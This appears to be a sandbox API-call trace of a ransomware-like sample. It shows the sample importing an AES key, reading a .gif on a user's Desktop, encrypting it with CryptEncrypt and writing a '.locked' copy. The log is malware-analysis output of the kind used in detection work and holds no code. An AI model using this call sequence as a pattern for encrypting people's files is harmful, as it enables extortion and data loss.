(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0124.948] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.948] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.948] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.948] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.948] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.948] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.949] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.949] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.949] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.949] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.949] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0124.950] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x4396e78) returned 1 [0124.969] CryptImportKey (in: hProv=0x4396e78, pbData=0x68e320c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99ae9c0 | out: phKey=0x99ae9c0*=0x8e85338) returned 1 [0124.969] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0124.969] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae780, nSize=0xe4 | out: lpBuffer="\x08") returned 0x0 [0124.969] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.969] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.969] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.971] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 0x20 [0124.971] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 0x20 [0124.971] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.971] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.972] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.972] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.972] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.972] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0124.973] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0124.973] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0124.974] GetFileType (hFile=0x874) returned 0x1 [0124.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0124.974] GetFileType (hFile=0x874) returned 0x1 [0124.974] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.975] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="⭈٨渁瀴") returned 0x0 [0124.975] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.975] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.975] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.975] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", lpFilePart=0x0) returned 0x5d [0124.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0124.975] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0124.976] GetFileType (hFile=0x878) returned 0x1 [0124.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0124.976] GetFileType (hFile=0x878) returned 0x1 [0124.976] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.977] CryptGenRandom (in: hProv=0x4396e78, dwLen=0x10, pbBuffer=0x68fe02c | out: pbBuffer=0x68fe02c) returned 1 [0124.977] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0124.977] CryptDuplicateKey (in: hKey=0x8e85338, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e853b8) returned 1 [0124.977] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0124.977] CryptSetKeyParam (hKey=0x8e853b8, dwParam=0x4, pbData=0x68ff3c0*=0x1, dwFlags=0x0) returned 1 [0124.977] CryptSetKeyParam (hKey=0x8e853b8, dwParam=0x1, pbData=0x68ff38c, dwFlags=0x0) returned 1 [0124.977] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0124.977] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.977] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.978] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.978] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.978] ReadFile (in: hFile=0x874, lpBuffer=0x69029d8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x69029d8*, lpNumberOfBytesRead=0x99ae9fc*=0x11c2f, lpOverlapped=0x0) returned 1 [0124.979] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69169e4*, pdwDataLen=0x99ae9f0*=0x11c20, dwBufLen=0x11c20 | out: pbData=0x69169e4*, pdwDataLen=0x99ae9f0*=0x11c20) returned 1 [0124.979] WriteFile (in: hFile=0x878, lpBuffer=0x68fe134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x68fe134*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0124.980] WriteFile (in: hFile=0x878, lpBuffer=0x69179d0*, nNumberOfBytesToWrite=0x10c34, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x69179d0*, lpNumberOfBytesWritten=0x99ae9d4*=0x10c34, lpOverlapped=0x0) returned 1 [0124.981] ReadFile (in: hFile=0x874, lpBuffer=0x69029d8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x69029d8*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0124.981] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6928670*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x6928670*, pdwDataLen=0x99aea50*=0x10) returned 1 [0124.981] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69286a4*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x69286a4*, pdwDataLen=0x99aea58*=0x10) returned 1 [0124.981] WriteFile (in: hFile=0x878, lpBuffer=0x68fe134*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x68fe134*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0124.982] CloseHandle (hObject=0x878) returned 1 [0124.984] CloseHandle (hObject=0x874) returned 1 [0124.984] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.985] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0124.985] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.985] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.985] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.986] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 0x20 [0124.987] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.987] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0124.987] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0124.987] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0124.987] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0124.987] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0124.988] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0124.988] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0124.988] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0124.988] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0124.988] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0124.988] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0124.988] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0124.988] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0124.988] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0124.988] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0124.988] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0124.989] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0124.989] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0124.989] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0124.989] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0124.989] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0124.989] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e")) returned 0x10 [0124.989] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0124.989] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0124.989] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 0x20 [0124.990] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.990] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.990] 